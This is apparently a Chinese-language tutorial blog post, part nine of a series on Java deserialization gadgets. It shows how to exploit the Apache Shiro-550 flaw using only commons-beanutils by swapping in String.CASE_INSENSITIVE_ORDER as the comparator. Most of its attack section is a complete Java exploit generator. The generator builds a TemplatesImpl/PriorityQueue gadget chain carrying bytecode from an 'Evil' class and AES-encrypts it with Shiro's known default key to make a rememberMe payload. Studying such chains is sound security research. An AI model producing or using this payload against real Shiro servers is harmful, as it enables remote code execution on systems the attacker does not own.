反序列化Gadget學習篇九 CommonBeanutils與shiro
serialVersionUID
如果兩個不同版本的庫使用了同一個類,而這兩個類可能有一些方法和屬性有了變化,此時在序列化通訊的時候就可能因為不相容導致出現隱患。因此,Java在反序列化的時候提供了一個機制,序列化時會根據固定演算法計算出一個當前類的serialVersionUID
值,寫入資料流中;反序列化時,如果發現對方的環境中這個類計算出的serialVersionUID
不同,則反序列化就會異常退出,避免後續的未知隱患。
遇到serialVersionUID的報錯,保證兩端依賴的jar包版本向同即可
思路
前面的CC鏈都需要目標環境中有CommonCollections的包,對於shiro-550這種很常用的漏洞,如果沒有CommonCollections,能否用其他方法利用,比如用CommonBeanutils。
最簡單的shiro專案,需要包含:
- shiro-core、shiro-web,這是shiro本身的依賴
- javax.servlet-api、jsp-api,這是JSP和Servlet的依賴,僅在編譯階段使用,因為Tomcat中自帶這兩個依賴
- slf4j-api、slf4j-simple,這是為了顯示shiro中的報錯資訊新增的依賴
- commons-logging,這是shiro中用到的一個介面,不新增會爆java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory錯誤
在只有這幾個必要依賴的情況下,檢視lib庫發現預設是帶有commons-beanutils的:
說明shiro本身就依賴beanutils庫,直接使用上一篇的payload打一下發現報錯:
Unable to load class named [
org.apache.commons.collections.comparators.ComparableComparator]
找不到這個類,說明雖然預設依賴了beanutils,但是並不完整,檢視一下哪裡用到了這個類。
初始化BeanComparator時,沒有傳入一個比較器,就會預設呼叫
org.apache.commons.collections.comparators.ComparableComparator作為比較器,那就需要一個新的比較器,要求:
- 實現
java.util.Comparator
介面 - 實現
java.io.Serializable
- 在jdk或者shiro或者CommonBeanutils中自帶
在實現了java.util.Comparator
中尋找,找到的是java.lang.String.CaseInsensitiveComparator
。jdk自帶,相容性強,相關程式碼:
public static final Comparator<String> CASE_INSENSITIVE_ORDER
= new CaseInsensitiveComparator();
private static class CaseInsensitiveComparator
implements Comparator<String>, java.io.Serializable {
// use serialVersionUID from JDK 1.2.2 for interoperability
private static final long serialVersionUID = 8575799808933029326L;
public int compare(String s1, String s2) {
int n1 = s1.length();
int n2 = s2.length();
int min = Math.min(n1, n2);
for (int i = 0; i < min; i++) {
char c1 = s1.charAt(i);
char c2 = s2.charAt(i);
if (c1 != c2) {
c1 = Character.toUpperCase(c1);
c2 = Character.toUpperCase(c2);
if (c1 != c2) {
c1 = Character.toLowerCase(c1);
c2 = Character.toLowerCase(c2);
if (c1 != c2) {
// No overflow because of numeric promotion
return c1 - c2;
}
}
}
}
return n1 - n2;
}
/** Replaces the de-serialized object. */
private Object readResolve() { return CASE_INSENSITIVE_ORDER; }
}
也就是通過String的靜態屬性CASE_INSENSITIVE_ORDER
就可以獲取到一個CaseInsensitiveComparator的物件
用這個物件來例項化一個BeanComparator
final BeanComparator comparator=new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
其他程式碼與正常的beanutils鏈相同,注意吧queue.add("1")新增到佇列裡的1變成字串,因為使用的是字串比較器,不能比較整數。生成的結果即可用來攻擊shiro
完整程式碼:
package changez.sec.CommonBeanutils;
import changez.sec.shiro.CommonCollectionsK1;
import changez.sec.shiro.Evil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.Queue;
public class shiro_beanutils {
public static void main(String[] args) throws Exception {
byte[] payload = getPayload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource cipheretext = aes.encrypt(payload,key);
System.out.println(cipheretext);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field f1 = obj.getClass().getDeclaredField(fieldName);
f1.setAccessible(true);
f1.set(obj, value);
}
public static byte[] getPayload() throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER );
final PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
}